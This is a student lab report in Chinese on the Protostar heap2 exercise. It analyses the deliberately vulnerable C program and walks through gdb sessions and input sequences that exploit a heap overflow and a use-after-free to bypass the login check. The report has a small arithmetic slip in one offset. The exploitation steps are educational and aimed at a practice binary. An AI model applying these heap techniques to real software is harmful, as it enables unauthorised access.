上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Heap2

学号：522031910439　姓名：梁俊轩

2025 年 4 月 20 日

1　代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 heap2 的 C 语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;

    if(strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(auth));
      memset(auth, 0, sizeof(auth));
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if(strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
    }
    if(strncmp(line, "login", 5) == 0) {
      if(auth->auth) {
```

```
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}
```

2 漏洞分析

程序接受以下命令：

auth <name>: 分配堆块存储认证信息（含 authflag 字段）。reset: 释放已分配的 auth 堆块。service: 分配堆块存储服务名称。login: 检查 authflag 是否为非零值，通过则输出成功信息。

关键漏洞：

当执行 reset 后，auth 堆块被释放但指针未置空。后续 service 分配可能重用 auth 的堆块空间。通过多次 service 调用覆盖原 auth 结构体的 authflag 字段。

auth 和 service 分配的堆块大小不同（如 auth 为 32 字节，service 为 1024 字节），但释放后重新分配时可能利用 fastbin 机制覆盖相邻区域。

3 简单堆溢出

首先通过 gdb 查看汇编代码：

```
(gdb) disassemble main
Dump of assembler code for function main:
0x08048934 <main+0>:push   ebp
0x08048935 <main+1>:mov    ebp,esp
0x08048937 <main+3>:and    esp,0xfffffff0
0x0804893a <main+6>:sub    esp,0x90
0x08048940 <main+12>:jmp    0x8048943 <main+15>
0x08048942 <main+14>:nop
0x08048943 <main+15>:mov    ecx,DWORD PTR ds:0x804b5f8
0x08048949 <main+21>:mov    edx,DWORD PTR ds:0x804b5f4
0x0804894f <main+27>:mov    eax,0x804ad70
0x08048954 <main+32>:mov    DWORD PTR [esp+0x8],ecx
0x08048958 <main+36>:mov    DWORD PTR [esp+0x4],edx
0x0804895c <main+40>:mov    DWORD PTR [esp],eax
0x0804895f <main+43>:call   0x804881c <printf@plt>
0x08048964 <main+48>:mov    eax,ds:0x804b164
0x08048969 <main+53>:mov    DWORD PTR [esp+0x8],eax
0x0804896d <main+57>:mov    DWORD PTR [esp+0x4],0x80
0x08048975 <main+65>:lea    eax,[esp+0x10]
0x08048979 <main+69>:mov    DWORD PTR [esp],eax
0x0804897c <main+72>:call   0x80487ac <fgets@plt>
0x08048981 <main+77>:test   eax,eax
0x08048983 <main+79>:jne    0x8048987 <main+83>
0x08048985 <main+81>:leave
0x08048986 <main+82>:ret
0x08048987 <main+83>:mov    DWORD PTR [esp+0x8],0x5
0x0804898f <main+91>:mov    DWORD PTR [esp+0x4],0x804ad8d
```

```
0x08048997 <main+99>:lea    eax,[esp+0x10]
0x0804899b <main+103>:mov    DWORD PTR [esp],eax
0x0804899e <main+106>:call   0x804884c <strncmp@plt>
0x080489a3 <main+111>:test   eax,eax
0x080489a5 <main+113>:jne    0x8048a01 <main+205>
0x080489a7 <main+115>:mov    DWORD PTR [esp],0x4
0x080489ae <main+122>:call   0x804916a <malloc>
0x080489b3 <main+127>:mov    ds:0x804b5f4,eax
0x080489b8 <main+132>:mov    eax,ds:0x804b5f4
0x080489bd <main+137>:mov    DWORD PTR [esp+0x8],0x4
0x080489c5 <main+145>:mov    DWORD PTR [esp+0x4],0x0
```

这题有 auth 和 service 两个变量，通过 malloc 动态分配空间，那么可以用 gdb 对 fgets 下断点

```
(gdb) b 0x0804897c
Function "0x0804897c" not defined.
Make breakpoint pending on future shared library load? (y or [n]) ^[[A^Cn
(gdb) Quit
(gdb) b *0x0804897c
Breakpoint 1 at 0x804897c: file heap2/heap2.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]

Breakpoint 1, 0x0804897c in main (argc=1, argv=0xbffffd74) at heap2/heap2.c:22
22      heap2/heap2.c: No such file or directory.
        in heap2/heap2.c
(gdb) c
Continuing.
auth ssssss
[ auth = 0x804c008, service = (nil) ]

Breakpoint 1, 0x0804897c in main (argc=1, argv=0xbffffd74) at heap2/heap2.c:22
22      in heap2/heap2.c
(gdb) c
Continuing.
service aaaaaaaa
[ auth = 0x804c008, service = 0x804c018 ]

Breakpoint 1, 0x0804897c in main (argc=1, argv=0xbffffd74) at heap2/heap2.c:22
22      in heap2/heap2.c
(gdb) p &auth->name
$1 = (char (*)[32]) 0x804c008
(gdb) p &auth->auth
$2 = (int *) 0x804c028
(gdb) p service
$3 = 0x804c018 " aaaaaaaa\n"
```

图 1 下断点

可以看到按地址顺序排序的是：

auth->name ->service ->auth_auth

因此要想覆盖 auth->auth，只需要将 service 给个大于 16 字节的内容即可：

```
root@protostar:/opt/protostar/bin# ./heap2
[ auth = (nil), service = (nil) ]
auth 123
[ auth = 0x804c008, service = (nil) ]
service 12341234123412341234123412341234
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
```

可以看到最后成功 login。

4 UAF

输入 auth alice，然后查看堆顶的地址，可以看到是 0x804c000，auth 的地址是 0x804c008。

```
(gdb) r
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth alice
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
(gdb) info proc map
process 2238
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

Start Addr   End Addr       Size     Offset objfile
 0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
 0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
 0x804c000  0x804d000     0x1000          0           [heap]
0xb7e96000 0xb7e97000     0x1000          0
0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000     0x3000          0
0xb7fde000 0xb7fe2000     0x4000          0
0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
0xbffeb000 0xc0000000    0x15000          0           [stack]
```

打印从 0x804c000 开始的相关区域，

```
(gdb) r
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth alice
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
(gdb)  x/32xw 0x804c000
0x804c000:0x000000000x000001110x63696c610x00000a65
0x804c010:0x000000000x00000ff10x000000000x00000000
0x804c020:0x000000000x000000000x000000000x00000000
```

```
0x804c030:0x000000000x000000000x000000000x00000000
0x804c040:0x000000000x000000000x000000000x00000000
0x804c050:0x000000000x000000000x000000000x00000000
0x804c060:0x000000000x000000000x000000000x00000000
0x804c070:0x000000000x000000000x000000000x00000000
```

输入一次 reset 后，我们发现 0x804c008 到 0x804c00b 被清空为 0 了

```
(gdb) c
Continuing.
reset
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82in ../sysdeps/unix/syscall-template.S
(gdb)  x/32xw 0x804c000
0x804c000:0x000000000x000000110x000000000x00000a65
0x804c010:0x000000000x00000ff10x000000000x00000000
0x804c020:0x000000000x000000000x000000000x00000000
0x804c030:0x000000000x000000000x000000000x00000000
0x804c040:0x000000000x000000000x000000000x00000000
0x804c050:0x000000000x000000000x000000000x00000000
0x804c060:0x000000000x000000000x000000000x00000000
0x804c070:0x000000000x000000000x000000000x00000000
```

auth->auth 实际上指向的内存是 0x804c008+0x2=0x804c028，我们可以通过不断向 service 来向堆管理器申请区域来将 auth->auth 包含在内，就可以让 auth->auth 为真。

```
service aaa
[ auth = 0x804c008, service = 0x804c008 ]
service bbb
[ auth = 0x804c008, service = 0x804c018 ]
service ccc
[ auth = 0x804c008, service = 0x804c028 ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82in ../sysdeps/unix/syscall-template.S
(gdb)  x/32xw 0x804c000
0x804c000:0x000000000x000000110x616161200x0000000a
0x804c010:0x000000000x000000110x626262200x0000000a
0x804c020:0x000000000x000000110x636363200x0000000a
0x804c030:0x000000000x00000fd10x000000000x00000000
0x804c040:0x000000000x000000000x000000000x00000000
0x804c050:0x000000000x000000000x000000000x00000000
0x804c060:0x000000000x000000000x000000000x00000000
0x804c070:0x000000000x000000000x000000000x00000000
(gdb) c
Continuing.
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]
```

可以看到最后成功 login。